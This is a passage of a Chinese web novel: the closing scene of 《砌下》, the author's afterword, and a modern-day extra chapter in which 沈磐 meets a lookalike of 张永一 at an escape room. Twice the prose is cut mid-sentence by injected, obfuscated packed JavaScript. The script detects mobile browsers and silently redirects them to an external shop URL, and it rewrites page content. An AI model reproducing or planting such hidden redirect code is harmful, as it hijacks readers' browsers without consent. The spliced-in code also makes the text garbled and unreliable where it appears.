为什么要拖累一个清白无辜又真心实意待人接物的人呢?又如何笃定他会永远愿意牵过自己,一同走过那永无止境的迷宫呢? 他的人生路漫漫长。 就算是兄弟姐妹这样的血脉勾连、至亲至近的情感纽带捆缚着两个人,但无休止的抑郁堕落迟早会逼疯另一个曾经健康的身体,身心康健如张永一,与自己走得太近,也会传染生病。 且他也没法带自己走出,自己搭建的迷宫。 他从来不是自己的灵丹妙药,遗忘是。 但她不敢忘,不敢忘那一双双睁大的眼睛,那一滴滴鲜红的血液,那一场场大火,那一声声哭喊,那一次次期待。 可现实中只有如同元良清白赴死的绝望降临在每个人身上。 就像化隆城永夜的黑暗,落在她和张永一的身上。 “张永一,我想要的,都在过去了。” “我在将来,也在现在。” 沈磐的世界又模糊了,她感慨一声:“怎么还没变心呢?天地大,自有更好的在前面……” “前面不会再有。” “你不是说,未来的一切都会是更好的吗?”她笑,又问:“你还是喜欢我吗?” 答案是显而易见的。 “是,张络爱沈磐。” 听见这些,她还是会发自内心地高兴。 是啊,她该高兴。 那她怎么不笑呢? 不笑怎么显示出她的高兴呢? 不用让张永一知道她是高兴的,好歹要让她自己知道她该有多么欣喜若狂。 可她怎么不笑呢? 便是眼中涌泪,这泪也是苦恨的。 他多么可信。 可是张永一,她连自己都不相信了,怎么能信他呢? 沈磐硬是挤出一个笑,“张永一,我说过的那句话,还是挺对的。” 张永一微愣,她说过太多话来推开他,所以反应许久他都想不出是哪句话。 明明自己已登堂入室,她也默许了、答应了要再爱他一次。 沈磐笑道:“你只是被我一句娶我的话蒙住了眼睛,这才晕头转向耽误至今。世上如我这般直白的人少,但世上不乏直白之人,恰恰好这个人是我,后来又发生了这么多事情,所以你以为你喜欢我,喜欢到想娶我。” 她撑着栏柱,转身面对他继续道:“可如果我没说过那句话,你还会因为后来的事情生出这么多想法么?” 知道这一切都是她的狡辩,但张永一神色还是微微僵硬。 他们一下子回到了最初的时候。 “你只是见过的女子太少,素得太久,所以那么多机缘巧合下来,你便昏了头。” 沈磐就见,他第一次难掩痛苦地垂下眼睫,嘴唇也颤如风中的雪片。 沈磐终于不再逼着自己笑了。 她一点也不想笑,这样勉强的笑也毫无半点安慰作用。 安慰自己都没用,何况是被自己无情敲碎了一次又一次的张永一。 一次又一次,给他希望,又无情敲碎。 她只是太善变了。 是吧,太像一个疯子了。 “我想要的都在过去,所以很感谢你。” 沈磐笑,扶着栏柱,转身往更幽暗迷离的远处走,“我的脾气越来越坏,身体也越来越差,但我会好好地活的,你可以放心了……” 更多的话,张永一也听不清了。 她像是他在宁远边塞堡垒中做的一场梦。 梦只属于夜晚,她也回到了黑暗。 廊外簌簌落雪。 【全文完】 74. 后记 完结万岁。 本人总喜欢写些分析,但有些分析很不适合放在后记里,只能我偷摸摸地用来自娱自乐了。但照例,还是想要梳理一下创作《砌下》的历程,以此给此书一个圆满的结尾。 开始创作的具体时间不详,但应该是在《朱明承夜》在晋江上发表后的几天里。创作完结于2025年02月19日21:07,寒假里的一个夜晚。 和《朱明》一样,《砌下》的创作较为集中于暑假和寒假,但完结后的修改较前文相对容易。 比起《朱明》,本文的开始比较潦草,没有详细具体的大纲和主旨,稍微搓了几个人物和事件,然后就开始了。但开篇写一场雪,让人物一个个出场,故事便一发不可收拾,直到《荒山冢》,卫太子据的故事被他们这样演绎出来,我的创作激情一下子冲至顶峰,久久盘旋而不能平复。 犹记写到《永济心》时,总感觉他们都在极力对抗预设好的结局,一不留心,剧情就会脱轨狂飙,因此,我也在极力与他们对抗。那时候,我不免觉得自己过于残忍。 直到最后,因为本人寒假中连夜追剧,以泪洗面于剧情的跌宕和世事的无常,于是心情抑郁,造就了沈磐和张永一这样的结局。 万分抱歉。 但这未尝不是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215619|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的结局。 同行过一路已是有缘。 所以,《砌下》的故事也没有过分甜蜜的番外(曾经有想写过IF线,但被自己否了),一切按照设定的时间线按部就班地走,在下一部《困兽森林》里会有故人的出场,也许可以视为另一种特殊的“番外”。 所以,按照这种说法,《砌下》也可以是《朱明》里的故人的另类“番外”。 不过人生,没有番外,也不需要番外。 享受当下,每次得到评论,都能感受到莫大的鼓舞,虽然超绝I人鲜少回复,还望诸君莫怪。 2026年02月22日 75. 大海的奇幻空间2 一个寻常的周五傍晚,饭点,可用数据为0,勤勤恳恳一周白干,明早九点组会,but老板外地出差。 所以—— 沈磐利落地拔下所有插头,合上电脑,收入背包,拉上拉链,顺便在这悦耳的声音里将所有有关毕业的烦恼一键清理。 爽快。 隔桌鸡窝头的师弟摘下耳机,“磐姐要一起吃饭吗?郇姐要去西湘缘吃小炒,她现在还在跑流式,不过马上就好了。” 沈磐把包甩到背上,“知道你郇姐在跑流式,你这游戏还打得下去?” 沈磐走到身后,往手机屏幕扫了一眼,“哇,1/10/3,没被队友激情开麦么。” “哎呀对抗路不看战绩的!” “哦——” 这一声还跌宕起伏有好几个转调。 “所以磐姐走吗?” 沈磐人已经走到办公室门口了,转身打个响指,“谢邀,有约。” 然后撞上了郇萦,“呦,下班了?别忘了明天组会。” 沈磐人已经走到楼梯口了,再给她也打个响指,“不汇报,翘了。” 郇萦给她的背影比个拇指,“春风满面的,嗯嗯,有种,那我也翘了。” 然后沈磐都下了好几级台阶,还能听见师弟的尖叫:“师姐我不许你走明天来得人太少我们会被Y老师涮的好狠的心啊呜呜呜呜——” 沈磐确实春风满面,心情极好,少见地没有塞上耳机与世隔绝地听悬疑小说。她甚至打算一会儿点开某外卖小程序,激情下单某些收藏好物。 她溜溜达达地出了校门,一路往地铁站走,随随便便过了安检,往人满为患的闸机通道后排队,刚轮到她就要打开某软件点开通行码,电话就打进来了。 沈磐一阵手忙脚乱。 她最怕这个时候打岔,但怨不得别人,往日刚走到地铁站下沉入口时,通行码已经早早准备了,不过今日心神雀跃,早记不得这提前的一步。 沈磐匆忙按灭了接通键,扫了码过了闸,这才重新点了有点呆滞的手机屏幕,点开了某信。 语音通话那头接通,一个女声传来:“长平!!你挂我电话!!” 沈磐连按音量键将手机静音,边戴着耳机,边估摸着辛翩翩一贯的牢骚差不多结束了,这才调高了音量。 果然,辛翩翩问:“你这还在地铁上吗?” “是啊,才下班。” “那你直接来吧,别回家了,不然就赶不上了,票我已经买好了,我把地址发你,反正地铁二三十分钟。” “哦好。” 那边辛翩翩挂了通话,聊天框里就弹出一处定位,沈磐点开,不由轻嘶。 这丫头,大半天藏藏掖掖搞的秘密活动居然是密室逃脱。 沈磐连忙把因震惊而喟叹的嘴阖上。 她总觉自己看见“密室逃脱”这四个字时,自己才在这具现代躯体里安定下来的魂魄又要飞走了。她几乎能猜到辛翩翩这最喜欢刺激的姑娘,会买一场怎样刺激到惊悚的逃脱体验了。 沈磐打了个哆嗦。 但君子一言,驷马难追。 沈磐有点想退缩了。 她全身心为了赴辛翩翩的约而保持的状态,如土委地。但没办法,她还硬着头皮,把这家店的项目简单刷了个遍,最低档次也是个微恐,其他那些中恐、特恐的项目更是好评如潮,没有一个不夸它家的布景和NPC。 沈磐感觉自己快晕了。 就没个无恐友情娱乐局吗? 而且她看了一下,最少也要四个人成组,也就意味着,她们还要和陌生人拼车。 她还没吃晚饭呢喂翩翩!! ** 沈磐总算在人潮里找到了坐在门店里聊得满面春风的辛翩翩。 辛翩翩的身材很好,今天更是火辣得露脐短袖配上了百褶裙,黑色大波浪在肩上汹涌,露出左耳上一闪一闪夺人眼球的夸张耳饰。 沈磐还没来得及欣赏自己的女伴翩翩的身姿,辛翩翩就看见了她,“朝她招手,这这这!” 走近了,沈磐这才看见,与辛翩翩对坐的是两个男人,一个一看就是店长,另一个干净整齐,但翘腿靠在沙发上,姿态随意。 沈磐径直接下辛翩翩的拥抱,等她坐到辛翩翩身边,这才趁着抬头的一瞬间去打量这个能把辛翩翩逗成一朵花的男人。 有点脸熟。 辛翩翩得意洋洋朝他介绍:“我闺蜜,沈磐。” 男人朝沈磐点头,“阮一清。” 阮一清?让我想想想想…… 沈磐朝他颔首,头脑风暴中,又听那个店长提醒:“还有十分钟我们的密室就要开启了哦。” 沈磐问:“玩的什么本?” 辛翩翩笑道:“我知道你头一次玩,所以就选了个中恐的。” “啊?” 对面阮一清显然也有些吃惊。 沈磐觉得随着“啊”一声出口的,真的还有她的魂魄。 辛翩翩又挽上她的胳膊撒娇:“哎呀哎呀,这正好饭点,咱们玩完了刚好去吃饭,不过我知道你辛苦了一天一定很饿了,我就点了奶茶,阮一清的朋友刚好下楼取了,马上就能喝上。” 沈磐知道她两声“哎呀”里定然有一句“长平”,她从来都是这么称呼她的,可身在异世,突然冒出这两个字着实麻烦,但她又没法黏糊糊地叫她“磐磐”,亲昵地喊“沈磐”,她的脑筋一下子又没法搭对,毕竟撒娇卖乖怎么能直呼她们两个人老封建人的大名呢? 沈磐挑眉笑:“你这还使唤上人了?” 阮一清笑道:“他顺路。” 辛翩翩往她怀里蹭蹭,沈磐便闻见了她身上浅淡却回味无穷的香水味,于是脑中陈旧的记忆一闪,眼前阮一清的轮廓便与记忆里那个常与辛翩翩作对的欢喜冤家阮一清重合。 阮一清啊? 就是从前传说中被辛翩翩倾心的青梅竹马阮一清啊? 瞒得够好的嘛,沈磐都以为他们老死不相往来,结果翩翩这丫头芳心暗许,后来她依稀记得,他们两个有情人终成眷属了呢。 呵呵。 沈磐一扫辛翩翩脸上的春色。 原来今天暧昧局啊。 难怪呢,需要中恐的氛围衬托,运用吊桥效应迅速拉近距离,最终最好一步到位实现曾经的夫妻恩爱如胶似漆。 沈磐抿住忍不住笑的嘴唇。 那就原谅她了,月老嘛,她最爱当了。 突然此时,忍不住在与辛翩翩眼神交流的阮一清出声喊:“张络!这里!” ** 是的,是张永一。 同一张脸,同一个名字,便是沈磐看去目测的身高都是一样的米数。 沈磐对张永一的身体,真的太过熟悉了。 可光凭眼神,和阮一清一样的眼神,沈磐便知道眼前的张络,绝非曾经那个张永一。他们只是长得一模一样而已,可皮囊血肉骨骼下居住的灵魂,却是截然的。 辛翩翩捅了捅忽然变得沉默的沈磐,挤眉弄眼的,在抽取角色卡的时候,一向连字多一点就晕的她居然还细细检查了人物关系,确保游戏里自己的CP不是张永一。 他们要两两成双。 在这恐怖游戏里。 沈磐居然感到了睽违已久的兴奋。 她不知道究竟是为何兴奋,不过她对游戏肯定是没法兴奋的,那就只能是对眼前这个冷面疏离的张永一了。 戴上眼罩,他们挨个搭着肩膀,由工作人员引入密室。 她知道,搭在自己肩上的手掌,是张永一的。 冷,冷,冷,密室里很冷,但他的手掌却是热的,热的,能让沈磐一下子想到很多曾经的炽热往事。 诡异的配乐里,喇叭指令让允许他们摘下眼罩,沈磐赶忙戴上揣在卫衣口袋里的眼睛。阴森的灵堂里,她觉得肩上发汗,本该被冷风吹得无比精神的脑子却开始发懵。 打头阵的辛翩翩止不住地哆嗦,一下子蹿到沈磐怀里。 沈磐搂住她,轻声笑:“这是怕了?” “我是冷!” 那边按照指令开始搜查灵堂的阮一清听见辛翩翩的话,便将自己身上的灰色衬衫脱了下来,穿着白色的一间短袖,“披上吧。” 沈磐就见,这背对着阮一清的小丫头朝自己挑挑眉,然后不好意思地转身接过他地衬衫,“谢谢你啦。” 然后她顺势就站在了阮一清身边。 沈磐轻笑,转身继续背着手用眼睛隔空搜查诡异的灵堂来。忽然,不知道剩余三个人里的哪个碰了什么机关,沈磐正对的贡桌上突然升起一座牌位来,与此同时,血红色的灯光开始从墙上的三清画像边缘疯狂闪烁。 “啊!” 沈磐的心一颤,后退一步,撞上了背后的张络。她立即转身跳开,却看见门边尖叫的辛翩翩已经挽上了阮一清的胳膊。 张络道歉:“对不起。” 沈磐看去,在逐渐变弱的红光,张永一从墙上揭下来一张字条,他低头念了起来:“徒儿,为师闭关在即,没法亲自前来助阵,希望你……” 沈磐略听了,听到最后“请你去把为师留给你的天官令取回来,如若有鬼怪作祟,立即蹲下大喊‘天官赐福’,便可化险为夷”,一个激灵,看向自己的人物卡—— 小道士。 啊? 她是道士? 张络抬头:“谁是道士?这是单人任务。” 那边凑过来的辛翩翩又躲到阮一清身边,“我不是,我是晴晴闺蜜。” 阮一清:“我是男友。” “是我。” 辛翩翩倒吸一口凉气,“啊,我……我不知道还有单人人物啊,长平你如果怕的话——” 沈磐笑笑:“瞧着吧,等我回来。” 辛翩翩满脸担忧。 门外响起了电闪雷鸣之声,但迟迟没有听见预料中叫破喉咙的那句“天官赐福”。 然后门开了。 辛翩翩迎上来,“长平你没事吧?” 沈磐一脸平淡地把天官令交到她手中,“呐,拿回来了。” 张络指一指墙上的凹陷,“应该要嵌到这里来。” 沈磐顺手从辛翩翩那里重新拿回天官令,开始往墙上的凹陷处按。但不知道是因为这木头膨胀了还是墙体缩水了,沈磐一时间居然没有安进去,在一边等待的张络便上手,帮她一起用力。 啪—— 他们应该都听见这皮肉相击的轻响,毕竟门外的雷电声过于吵闹,又或者这样无意的触碰比润物之雨还要无声,辛翩翩和阮一清已经注意起牌位旁闪烁的射灯,只留沈磐和张络突然被笼络入这样的温柔触感里。 不过这对沈磐来说,不过洒洒水而已,她很快又听见张络一声“对不起”。 “没事。” “你们快来看,又有字条了。” 沈磐和张络并肩走去。 这回换阮一清拿起字条念道:“真不愧是我的徒弟!我果然没有看错你。那么今夜,就由你代替老道,将天官、地官、水官三元令集齐,将此处的阴煞度厄镇压,让亡魂安息。现在,你们应当去亡魂生前的住处看看,或许能有什么信息。” “哦,要走了,长平,你刚刚出去时可有看见什么?” “没有啊,黑漆漆的,只有一条路有灯。” “这天官令我们还要取下来吗?” 辛翩翩正问着,那边张络轻轻按了一下嵌入墙体的木块,那木块居然就这么弹了出来。 “好……好,取下来了,那我们走吧。” 沈磐点点头,刚走到门边,一转身就看见阮一清把辛翩翩护在身前,身贴身,贴得很近,俨然一副越过了暧昧边界的男女朋友模样。 这进展,真是怪快的。 张络已经推开了门,门后黑漆漆的,沈磐连忙跟上,便立即被身后的辛翩翩抱住。 “你啊你啊。” 辛翩翩笑嘻嘻催促她:“赶紧赶紧,有张络在前面开路,莫名让人安心呢。” 被提到的张络回头,辛翩翩连忙把自己埋到沈磐脖颈旁,沈磐朝他点点头,他便拿着天官令和搜出来的迷你手电筒,慢慢踏入了混沌的黑暗里。 ** 楼道。 充斥耳畔的巨响已然从简单的电闪雷鸣变成了风嘶鬼嚎。从天花板上挂下来的衣物被张络伸手拨开,他还出声提醒:“上面有衣服,当心点。” 感受到背后辛翩翩的颤抖,沈磐便也伸手把衣服挑开,顺势摸了一把,就从大衣口袋里顺出了一块黑色板砖? “嗯?什么东西,那就先拿再说。” 或许是氛围加持,在恐惧紧张中,人的话就会特别多,辛翩翩就伏在她耳畔道:“哇,长平真厉害,该不会是什么道具吧。” “长平你跟紧点,我害怕。” “嗯嗯,快走快走,我感觉有人来了,啊不,是鬼!” 话落,一声不属于人的兽吼就从身后传来,沈磐浑身一震,大喊着“天官赐福”,便伸手把前面的张络一并拖到了地上。 辛翩翩尖叫着把沈磐抱得更紧。 张络忽然被人拽住后腰,浑身都不自在起来,可极度的恐惧紧张之下,沈磐并没有立即放开他,反而揪着他的衣服,用蛮力将他硬生生拽得离自己更近。 距离一近,他便能感受到后背之人的呼吸。 湿热,不规律,昭示着并不如表面平静的内心。 可张络感觉不到的呼吸,只听见自己的心跳随着背景的鼓噪,一下下敲打在耳膜之上。 辛翩翩弱弱地问:“走了吗?” 还没等沈磐回答,她又说:“不如我们就这样蹲着走吧?” 沈磐想也没想正要答应,前面张络便说:“有门,快进去。” 说完,沈磐便感觉他转身拉住了自己手腕,就这样把他们三个拔萝卜般从地上拎起,然后迅速推开通道一边半掩着的房门。 逼仄狭小的房间里又是一处灵堂,塑料的电子蜡烛,映衬着女孩的黑白照片,放处暗夜凝视般血红的灯光。忽然,辛翩翩又轻轻尖叫一声,便这样蹿到了最后进屋关门的阮一清那里。 沈磐光顾着看左手边的供奉神龛,没注意到辛翩翩在右边看见了什么,倏尔一个回头,那苍白的花圈和黑漆漆的一副竖棺便突破墙壁冲入眼前。 “棺材,该不会里面跳出个鬼吧?” 沈磐出声舒缓她的紧张:“或许是让人躺进去呢?” “啊?多不吉利。” 这么抱怨完,辛翩翩见沈磐笑了,她这才也勉强地挤出一个苦笑来。 “检查检查吧,应该有线索,哦对了,那个东西——”张络看向沈磐,“可能是个磁带。” 屋里有个老旧的电视机,配着播放器,很显眼地摆在正中,面对着窗下破旧的沙发。 沈磐便将磁带放到他张开的手掌上,他朝自己点头,然后利落地把磁带插了进去。 但电视机上并没有任何画面,甚至都没有亮。 辛翩翩在一边飞速地说:“天哪长平你就是好厉害,随手就拿到了道具,我猜啊,估计还要让我们一个人出去拿呢,然后再让鬼吓吓我们。” 沈磐无声笑笑,再度只用目光检查着屋内,很快,她注意到了截断的电线,开口,刚好和张络异口同声:“电线断了。” 他们四目相对,又各自移开眼,却又齐齐走到墙沿的电线旁。 沈磐低头看着电线,不去管身边的张络,她沉吟:“嗯,要这么接。” 她张开手臂,恰好拉住电线两边,却还是有点勉强。 “我知道了,要人来当导电介质!”辛翩翩赶忙冲到另一端电线旁学着沈磐连接。一直没什么存在感的阮一清见沈磐拉得辛苦,便主动提出帮忙,沈磐没有客气,就这么放手,让他们“夫妻”两个尽尽应有之力。 那边张络按下了开关,不,是要他一直按着开关,电视机屏幕上才有断断续续的花屏。 沈磐谨慎地往后退,一直退到了沙发前,这才能勉强看清上面的画面。 可就在这时,沙发上的窗户突然炸开,一个黑影攀着玻璃就要往屋里跳。 张络的“当心”二字还没喊出口,沈磐就已经大喊着“天官赐福”蹲了下来。可她蹲得太过用力,用力到她的身体都没法在瞬息间完美协调,她缩成一团的身体就这么往前栽倒—— 辛翩翩余光瞥见这幕已经尖叫起来,再看见窗上血色狰狞的鬼脸,更是立即晕厥了过去。 情急之中,不知道是辛翩翩先松开的电线,还是张络先松开的按钮,电视屏上的无声画面卡着花屏消失,沈磐只在这样的风声、雨声、雷电之声、鬼哭狼嚎之声里,听见有谁在喊她的名字。 “沈磐!” 她落入了一个温暖的怀抱里。 张络接住了她,便这么抱着她一起坐到了地上。 “你没事吧?” 沈磐手忙脚乱地要爬起来,却忽然听见阮一清跑过去抱起了辛翩翩在喊:“翩翩?翩翩!” 他们狼狈极了,沈磐还没从自己怀里站起来,张络便高声对着墙角安装的高清摄像头喊:“终止!终止游戏!” ** 沈磐的第一次密室体验,就以小于四分之一进度的成绩告终。 辛翩翩的晕厥差点让店家招来了120,不过她很及时地苏醒了,抱着沈磐就忍不住眼泪大哭,还一边到处狂说着对不起。 于是乎,沈磐只能一手扛上辛翩翩,一手又要扛上自己的电脑。 但手中一轻。 张络接过了她的背包,那边阮一清也拿着辛翩翩的挎包和她们两个人的加冰、冰块都要融化的奶茶。 “去吃饭好吗……我有罪,我以后再不逞强了,让我请你们吃饭赔罪呜呜呜……” 沈磐冷脸吓她道:“回家。” 辛翩翩搂上她的脖子,“好呀,回家。” 沈磐冷冰冰补充:“送你回家。” “啊——磐磐原谅我呜呜呜……” 沈磐瞥了一眼边上的阮一清,心一软,无声叹息,“手机,帮你打车。” 阮一清连忙掏出辛翩翩的手机递来,辛翩翩不情不愿地解锁,又被沈磐从身上赶了下来,却又顺势站到了大包小包的阮一清身边。 闹市打车就是快啊,沈磐算了算,辛翩翩不过把阮一清和张络的某信都加上,又催促着让沈磐加张络的某信,这车就来了。 辛翩翩一把将沈磐拉上车,“你送我!” 沈磐无奈上了贼船。 与两位绅士得不能再绅士的男人分开后,辛翩翩立即抱住沈磐问:“怎么样怎么样?那就是张永一吧?” 沈磐推开她过分热情的脸蛋,“看来你和阮一清这是郎有情、妾有意……” 提到这个,辛翩翩端正地坐了回去,“唉,缘分呐。” “不过我和他的缘分不用操心,以前就是命定,不过你和张永一……真是想不到啊,可他们居然,完全不记得了。” 见她惋惜,沈磐道:“不是不记得,他们只是长得像,但压根不是一个人。” 辛翩翩嘟嘟嘴,“不是啊……那也没关系,我喜欢他这个长相,早早吃到也不亏嘛!” 沈磐轻笑。 她发誓,她绝没有半分轻蔑的意思,可辛翩翩愣是指着她说:“长平你这什么态度!这重活一世容易嘛?人就是要享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216304|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐的,整天苦哈哈又有什么意思?人来了新世界,就要放下从前的那些,好好享受自己日子,千万不能浪费了每一个机会。‘天予不取,反受其咎;时至不迎,反受其殃’!老天既然把他重新送到我眼前,那我断然没有的道理!我看长平你啊,就是因为这个,这才和他一起变成了那样!” 沈磐挑眉:“什么模样?” “反正就是那种不幸福的模样!” 沈磐笑了。 “你又笑!又笑又笑又笑!” “哈哈哈哈。” 辛翩翩阴恻恻道:“我看你啊,是疯了,醉了!等着瞧吧,你马上就要认栽了!” 沈磐哼哼,不以为意。 ** 然后她很快明白辛翩翩话中的“认栽”究竟是哪种栽法。 她吃饱喝足、洗漱完毕,甚至开了瓶酒小酌一杯,突然收到了郇萦的一条消息:中午酶标仪的数据速速发来!! 沈磐一拍脑门。 郇萦的U盘因为中毒太过壮烈牺牲了,这就借了她的U盘拷数据,结果她一忙,就给忙忘了,不过她还记得把U盘和电脑一起带回了家…… 沈磐开始搜寻。 没有。 没有。 没有! 她猛然清醒。 包好像在张络肩上? 她倒吸一口凉气,看向了通讯录里张络的名称备注。 张络,而非张永一,虽然曾经的这两个名字都只属于一个人。 这—— 得,她认栽。 ** 背着包和阮一清一路往回走,张络没感觉出什么不对。 他一向是这样出门,又这样回家。 甚至于沈磐的包是纯黑色的,样式普通,和他的几乎一模一样。 也许是今夜经历颇多,到了家放下包,一直到没电了的手机快充充满了电,他洗漱完准备倒头休息,顺便理一理今天的这番遭际,他把手机开机,然后就收到了沈磐的消息。 打扰,我的包是在你那里吗? 张络一愣,从床上坐起,走出卧室。 躺在玄关的那只黑包和自己的黑包肩并肩当着邻居,他这个地皮开发商这样看着居然也没察觉出什么不对劲。 太不应该了。 他像是昏了头了。 他看向紧紧躺在聊条框里的那条消息,对着那个包斟酌了片刻,打出了一条:对不起,方便我什么时候拿给你? 消息发出去的时候,聊天框上显示“对方正在输入”,张络的心跳莫名加速,捧着手机的手都开始发汗。 可过了大概有三十秒吧,他也不知道自己为什么这么清楚,反正就是过了一会儿,那上面开始频繁地闪现“对方正在输入”,可始终,那个频繁输入删除的对方都没有给他发出过任何回应。 他又等了将近三十秒。 这一分钟里,他的心跳又快到慢,最终被弹出的一条白色聊天框里的消息,吓到了顶点:我急用,方便现在吗?我来拿就好,你给个位置,麻烦你了。 张络握着手机的手都开始发酸。 她说现在来拿? 他看看时间。 九点半了。 就算过来也要近十点了吧?一来一回—— 张络猛地止住自己的思绪,快速打字:太晚了,如果你方便的话,要不我送吧。 然后便陷入了更久的沉默。 其实消息热血上头地发出去后,几乎是立刻,张络就后悔了。不过他今天后悔的事情还多这一件吗?他按部就班得单调的生活里,突然播起了今夜华丽的插曲,他脑子抽风般答应阮一清,被他喊来凑数,取了陌生人的奶茶,还和陌生人组队玩了一场心跳加速的游戏。 游戏是假的,可发生的事情都是真的。 分明已经二十一世纪,多些肢体接触也没大不了,可就是这些无关紧要和无足轻重,却像是那步步逼近的鬼,要从窗户外跳进去恐吓他那仿佛停留在几百年前的贞操。 他的心都乱了。 那时可以说是氛围作祟,可现在,是屏幕对面虚无缥缈的那个叫沈磐的、只见了今天一面的陌生女人。 他感觉,自己成了狂徒,初见之后,大晚上的,提出要去人家家里。 色狼啊。 张络把手机熄屏,却就在这时,屏幕重新凉了起来,屏锁上弹出了沈磐的消息: 好吧,麻烦你了。 然后是一处地址。 ** 不过三十分钟出头,沈磐的家的门铃就响了。 沈磐窝在沙发里打瞌睡,听见铃声一个激灵。她正捧着手机等着张络给她发消息说,他到楼下了,没法进出单元门,再问她住几楼几室,要么他送佛送到西,要么她下来拿。 结果就睡着了。 结果张络一步到位。 沈磐站起,摇摇晃晃地往玄关走。 她觉得可能是酒精的缘故。 她甚至没有打开门前监控看上一眼,就这么有些头发发懵地开了门。 张络站在门外,肩上依然是沈磐的包。 看见熟悉的人陌生的气质,沈磐的酒好像彻底清醒,她下意识让开门,“麻烦你了大晚上跑一趟,说起来是我自己忘了,却给你添麻烦了。” 张络将包提在手中。 二十一世纪的寻常百姓家早已经没有了门槛的概念,可门里门外是两个截然的世界,张络只是提着包,甚至在沈磐接连的话语里连一声学舌的“打扰”都说不出,就这么紧紧等待她陈全自己的这番完璧归赵。 可这场戏的主角沈磐,转身走向室内,从餐桌上提起一袋装好的水果。 张络不确定里面有什么,或许有橙子、苹果,这是一年到头最寻常的果品,或许还有一两瓶饮料,又或许是酒。 他看得见她的脸颊上,泛着一种红,也许是过于兴奋,也许是屋里太热了,又或许是喝了酒。他想,他们今天萍水相逢,他并非她什么要紧的贵客,他甚至连客都不是,她的心潮自然不会为了自己澎湃,而屋里热不热,他自有分晓。所以只能是喝酒了。 今天第一眼看她,穿着兜头的灰色卫衣,背着包,戴着细边眼睛,高智高冷的气焰里却裹挟着不必说的班味。她就像是张络能够想象出的那样的一个下了班的研究生,在放松的娱乐场所与所有人生的过客进行一场点到为止的邂逅。 所以她会喝酒,情理之中。 但她好像不止是微醺。 房门是朝外开的,张络站得也开,所以沈磐提着塑料袋走来时,那道几乎无法称作是“门槛”的槛,便成了他们物品交接的唯一阻碍。 她扶着门框,左手将东西提来:“太晚了,我就不请你进来坐坐了,不过感谢你跑这一趟。” 张络点点头应承下她的答谢,左手接过塑料袋,小心不去触碰她的手指。 很重,都是沉甸甸的心意。 张络不知道自己为何会这样想。 “你是怎么来的?”她接过背包,忽然又问。 “地铁。” “蛮远的吧。” 张络觉得,她下一句又要是对自己的感谢和麻烦了,好像自己和她的这几分钟交谈里,她已经道千万遍的感谢和麻烦人的愧意。 他不是很能承受这种愧疚,所以他突然想说,不用客气,他们是朋友,这些都是朋友间的常事。 可他们已经是朋友了吗? 一起玩过游戏的陌生人也会变成朋友的吧。 张络回神,看见沈磐定定地望着自己,他这才回答道:“还好,不远,晚上人少。” “你注意安全。” 张络点头,一时间不知道她朝自己叮嘱这句话,他究竟还能回应些什么。 他终于要结束这一整晚的折磨了,他说出了告别辞:“那我走了……再见。” “再见。” 她还是那么望着自己。 张络转身,去等电梯。 沈磐并没有立即关门,她先放下了包,这才要扶着门框,踮着脚探出身去够已经外开四十五度左右的门板。 她好像,不愿意踩着拖鞋踏到门外。 张络没有回头,余光却注意着,注意着她黑色的外套下是一条齐地的白色睡裙。 齐地的裙摆,扫过“门槛”,散落的头发,拂落肩头。 他注意到,她好像要摔倒了—— 像密室之中那样,摔到了他的怀里。 沈磐的头沉甸甸地疼,低头时疼感尤为明显。她也不清楚,在那里等电梯的张络怎么又像晚上那样接住了自己。 不,晚上还没有过去。 “叮——”的一声,电梯到了,没有人进出,沈磐的大脑却也想电梯被程序安排打开了门扇,随着时间流逝逐渐模糊的记忆里,那个张永一的脸和眼前的张络合二为一。 仿佛异世重返的不仅仅是她和辛翩翩。 哦,张永一啊? 沈磐有些陶醉地抚上他的脸颊。 他的下巴上有一道浅浅的伤疤,只在离得很近时,这几不可见的疮口才会如此清晰,就像曾经皮开肉绽在自己身上。 身下的张络明显地,怔愣住了。 看旧人的怀念眼神,旧那么轻柔地将他包括。 哦,张永一啊。 她这么念他的名字:“张永一啊。” 张络听不懂,却看得清她伤心的眼泪。 眼泪,在如此贴近的两人之间,几乎直接从沈磐的眼眶坠落在张络的嘴唇。 她又似要循着眼泪的痕迹,去亲吻他的嘴唇。 “你在叫我吗。” 沈磐低下头。 是啊,我的爱人。